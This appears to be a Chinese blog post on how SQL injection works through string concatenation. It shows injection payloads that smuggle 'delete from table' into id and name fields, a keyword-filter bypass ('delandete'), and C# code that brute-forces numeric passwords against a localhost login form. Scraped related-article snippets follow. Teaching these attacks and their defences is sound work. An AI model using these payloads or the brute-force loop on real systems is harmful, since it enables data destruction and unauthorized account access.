sql注入原理分析与web暴力破解密码代码

如果发生这种方式的sql注入,一定是程序内部使用的sql拼接,并且没有对用户的输入的表单参数过滤或者没有对url参数过滤。

     对于sql的拼接,基本上有两种方式:

     1,如  sql = “select * from table where id=” + 输入参数;   形式

        此种最好防范,只须要对输入参数进行数字验证,如果忽略此处验证,后果也是最严重,就算你对参数进行 单引号过滤,等号过滤,sql关键字过滤 也于事无补。

        如果没有数字验证,那么sql就有可能变成

select * from table where id=10 delete from table

严重吧,但是我可能过滤了关键字啊

  

    public static string safesql(string str)
{
if (string.isnullorempty(str))
{
str = "";
return str;
}
else
{
str.replace("'", "");
}
str = new regex("exec", regexoptions.ignorecase).replace(str, "");
str = new regex("xp_cmdshell", regexoptions.ignorecase).replace(str, "");
str = new regex("select", regexoptions.ignorecase).replace(str, "");
str = new regex("insert", regexoptions.ignorecase).replace(str, "");
str = new regex("update", regexoptions.ignorecase).replace(str, "");
str = new regex("delete", regexoptions.ignorecase).replace(str, "");
str = new regex("drop", regexoptions.ignorecase).replace(str, "");
str = new regex("create", regexoptions.ignorecase).replace(str, "");
str = new regex("rename", regexoptions.ignorecase).replace(str, "");
str = new regex("truncate", regexoptions.ignorecase).replace(str, "");
str = new regex("alter", regexoptions.ignorecase).replace(str, "");
str = new regex("exists", regexoptions.ignorecase).replace(str, "");
str = new regex("master.", regexoptions.ignorecase).replace(str, "");
str = new regex("restore", regexoptions.ignorecase).replace(str, "");
str = new regex("=", regexoptions.ignorecase).replace(str, "");
str = new regex("or", regexoptions.ignorecase).replace(str, "");
str = new regex("and", regexoptions.ignorecase).replace(str, "");
return str;
}

个方法够全了吧,还不区分大小写,但是如果我的输入参数是 10 delandete from table 呢??

哈哈,方法正好被利用了。因为它会把delandete中的and过滤掉,又成了delete了。

但是黑客怎么知道我的过滤顺序啊,告诉你黑客最常用的也最管用的方法就是尝试,不用几次基本过滤顺序就能尝试出来。

同样这种利用过滤方法攻击的方法也适用于以下的几种方法

2,拼接带单引号的形式

sql = “select * from table where name = ‘” + 参数 + "' order by id desc ”    

sql = “select * from table where name = ‘%" + 参数 + "%'”

输入参数是  feng' delete from table select 1 from table where 1=‘1

面单引号终结前面的单引号的作用范围,加入自己的语句,后边自己去拼接吧。

 对于这种的注入,要想插入自己的sql语句,必须加个单引号去终结前面的单引号的作用范围,因此它也就有了自己的死穴了,只需把单引号过滤掉就行了。

有种更绝的方法是把用户输入的单引号直接替换成两个,让输入的语句没有执行环境,感觉更安全点。

 sql注入如此简单,这造成了非常严重的外部环境,因此我们应该有自己的防护措施

下面看一款暴力破密码代码
暴力破解:一个接一个的试,直到试验出正确的密码。

 

  webclient web = new webclient();
             web.encoding = encoding.utf8;
             for (int i = 0; i < 399; i++)
             {
                 string s = web.downloadstring("http://localhost:2118/website5/default.asp教程x?__viewstate=%2fwepdwukmtyznzq1ndcxn2rkg804yc5o9vry7xclcoo1%2fuinvau%3d&txtname=admin&txtpass="+i.tostring()+"&button1=%e7%99%bb%e9%99%86&__eventvalidation=%2fwewbal60vxocglehisfcwlkw6ldbqkm54rgble0dgunj7ce4iznusf6tavjjci8");
                 if (s.contains("登陆成功"))
                 {
                     console.writeline("密码破解成功:密码为:" + i.tostring());
                     break;
                 }
             }
          
            console.readkey();

时间: 2024-09-20 02:20:02

sql注入原理分析与web暴力破解密码代码的相关文章

PDO防注入原理分析以及使用PDO的注意事项总结_php技巧

本文详细讲述了PDO防注入原理分析以及使用PDO的注意事项,分享给大家供大家参考.具体分析如下: 我们都知道,只要合理正确使用PDO,可以基本上防止SQL注入的产生,本文主要回答以下两个问题: 为什么要使用PDO而不是mysql_connect? 为何PDO能防注入? 使用PDO防注入的时候应该特别注意什么?  一.为何要优先使用PDO? PHP手册上说得很清楚:Prepared statements and stored procedures Many of the more mature d

Sql注入原理简介_动力节点Java学院整理

一.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击.如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入. 黑客通过SQL注入攻击可以拿到网站数据库的访问

LuManager 高危SQL注入0day分析

本文讲的是 LuManager 高危SQL注入0day分析,2015年9月7日阿里云盾态势感知系统捕获到LuManager系统的0day一枚,经证实,该漏洞一旦被黑客利用可直接以最高权限登陆后台,上传webshell, 控制系统数据库.操作虚拟主机,后果不堪设想. 阿里云安全攻防对抗团队在第一时间通知厂商,厂商迅速响应,于8日上午发布安全更新并致谢阿里云安全. 在此次事件过程中,正是基于云盾态势感知系统灵敏的漏洞捕获能力.阿里云与厂商的快速沟通响应以及厂商负责任的态度,得以保证了阿里云用户不受该

黑客开始利用云计算暴力破解密码

本文讲的是黑客开始利用云计算暴力破解密码[IT168 云计算频道]使用云计算服务来替代在公司里设立维护大量服务器,显然对节省企业的成本有利.不过现在看来从云计算服务中受惠最大的恐怕是黑客等群体,黑客们开始利用亚马逊EC2等云计算服务来暴力破解并窃取用户信用卡密码.不过据安全专家David Campbell的计算,即便用户不使用安全专家建议的大小写字母混合式的密码组合,使用亚马逊提供的云计算服务进行密码暴力破解的黑客,出于成本过高的原因可能也将无法使用这种服务对具备12位长度的密码进行破解. 目前

Centos下防止ssh暴力破解密码2种方法

方法一, 收集 /var/log/secure 里面的信息,若是某个IP 链接次数超过一定次数 ,则把此ip记录到/etc/hosts.deny里面. 通过crontab来执行,每天的1点1分执行一次. 1 * * * sh /root/bin/Denyhosts.sh   #!/bin/bash #Denyhosts SHELL SCRIPT cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $

Joomla 3.4.3版本 SQL注入漏洞分析

0x00 漏洞分析 漏洞触发的代码位于:/administrator/components/com_contenthistory/models/history.php,getListQuery()函数内: 通过SQL及报错信息,可以知道我们的注入payload被插入到了红色框部分内.跟进getState()函数,位于libraries/legacy/model/legacy.php文件内,代码如下: 从函数参数和官方注释,可以知道,getState()函数功能是获取一个model的属性及属性对应

Wordpress4.2.3提权与SQL注入漏洞分析

这是这几天一直关注的漏洞了,wordpress上个礼拜发布的4.2.4版本,其中提到修补了可能存在的SQL漏洞和多个XSS. Check point也很快发出了分析,我也来分析与复现一下最新的这个漏洞.   0x01 GP混用造成的越权漏洞 首先,说明一下背景.wordpress中用户权限分为订阅者.投稿者.作者.编辑和管理员. 权限最低的是订阅者,订阅者只有订阅文章的权限,wordpress开启注册后默认注册的用户就是订阅者.国内很多知名网站,如Freebuf,用户注册后身份即为“订阅者”.

LuManager高危SQL注入0day分析

2015年9月7日阿里云盾态势感知系统捕获到LuManager系统的0day一枚,经证实,该漏洞一旦被黑客利用可直接以最高权限登陆后台,上传webshell, 控制系统数据库.操作虚拟主机,后果不堪设想. 作者:云盾攻防对抗团队 - 千霄 LuManager是一种基于FreeBSD.Zijidelu.Debian.Centos.Ubuntu等Linux/Unix系统的网站服务器管理软件,目前有大量国内用户使用.云盾攻防对抗团队捕获0day后第一时间通知厂商,厂商迅速响应,于8日上午发布安全更新并

php防止sql注入简单分析_php技巧

本文实例分析了php防止sql注入简单方法.分享给大家供大家参考.具体如下: 这里只说一个简单的方法 防止Sql注入的方法有很多,这里要说的其实就是漏洞演练平台Dvwa里的一种方式 直接看high级别的就可以了 $id = $_GET['id']; $id = stripslashes($id); $id = mysql_real_escape_string($id); if (is_numeric($id)){ $getid = "SELECT first_name,last_name FRO